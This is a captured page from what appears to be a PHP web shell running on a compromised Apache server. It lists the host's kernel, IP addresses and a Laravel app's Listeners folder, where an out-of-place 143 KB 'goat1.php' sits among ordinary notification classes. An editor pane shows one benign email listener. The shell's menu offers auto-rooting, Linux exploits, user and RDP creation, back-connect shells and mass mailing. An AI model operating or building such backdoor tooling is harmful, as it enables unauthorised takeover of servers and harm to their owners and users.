Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo21.com /
app /
Listeners /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
127
B
-r--r--r--
SendClientCreatedEmail.php
1.46
KB
-rw-rw-r--
SendContractCreatedEmail.php
1.9
KB
-rw-rw-r--
SendCustomerCreatedEmail.php
816
B
-rw-rw-r--
SendInvoiceCreatedEmail.php
1.86
KB
-rw-rw-r--
SendNotificationTemplateNotifi...
4.31
KB
-rw-rw-r--
SendProjectCreatedEmail.php
1.98
KB
-rw-rw-r--
SendSlackClientCreated.php
1.19
KB
-rw-rw-r--
SendSlackContractCreated.php
1.37
KB
-rw-rw-r--
SendSlackInvoiceCreated.php
1.27
KB
-rw-rw-r--
SendSlackProjectNotification.p...
1.08
KB
-rw-rw-r--
SendSlackTaskNotification.php
1.17
KB
-rw-rw-r--
SendSlackZoomMeetingCreated.ph...
1.34
KB
-rw-rw-r--
SendTaskCreatedEmail.php
1.82
KB
-rw-rw-r--
SendTelegramClientNotification...
1.15
KB
-rw-rw-r--
SendTelegramContractNotificati...
1.35
KB
-rw-rw-r--
SendTelegramInvoiceNotificatio...
1.22
KB
-rw-rw-r--
SendTelegramNotifications.php
2.66
KB
-rw-rw-r--
SendTelegramProjectNotificatio...
1.13
KB
-rw-rw-r--
SendTelegramTaskNotification.p...
1.29
KB
-rw-rw-r--
SendTelegramZoomMeetingNotific...
1.35
KB
-rw-rw-r--
SendUniversalNotification.php
8.42
KB
-rw-rw-r--
SendUserCreatedEmail.php
1.97
KB
-rw-rw-r--
SendVendorCreatedEmail.php
790
B
-rw-rw-r--
SendZoomMeetingCreatedEmail.ph...
2.16
KB
-rw-rw-r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SendContractCreatedEmail.php
<?php namespace App\Listeners; use App\Events\ContractCreated; use App\Models\User; use App\Services\EmailTemplateService; use Illuminate\Support\Facades\Log; class SendContractCreatedEmail { public function __construct(private EmailTemplateService $emailService) {} public function handle(ContractCreated $event): void { if (isEmailTemplateEnabled('Contract Created') && $event->contract->client->email) { try { $contract = $event->contract; $client = $contract->client ?? null; $appUrl = config('app.url'); if (substr($appUrl, -1) === '/') { $appUrl = substr($appUrl, 0, -1); } $variables = [ '{client_name}' => $client->name, '{contract_subject}' => $contract->subject ?? $contract->title, '{contract_value}' => $contract->value ?? 'Not specified', '{start_date}' => $contract->start_date?->format('Y-m-d') ?? 'Not set', '{end_date}' => $contract->end_date?->format('Y-m-d') ?? 'Not set', '{contract_url}' => $appUrl . '/contract/' . encrypt($contract->id), '{company_name}' => config('app.name') ]; $createdByUser = User::find(createdBy()); $userLanguage = $createdByUser->lang ?? 'en'; $this->emailService->sendTemplateEmailWithLanguage( templateName: 'Contract Created', variables: $variables, toEmail: $client->email, toName: $client->created_by, language: $userLanguage ); } catch (\Exception $e) { Log::error('Error in SendContractCreatedEmail listener: ' . $e->getMessage()); return; } } } }
Close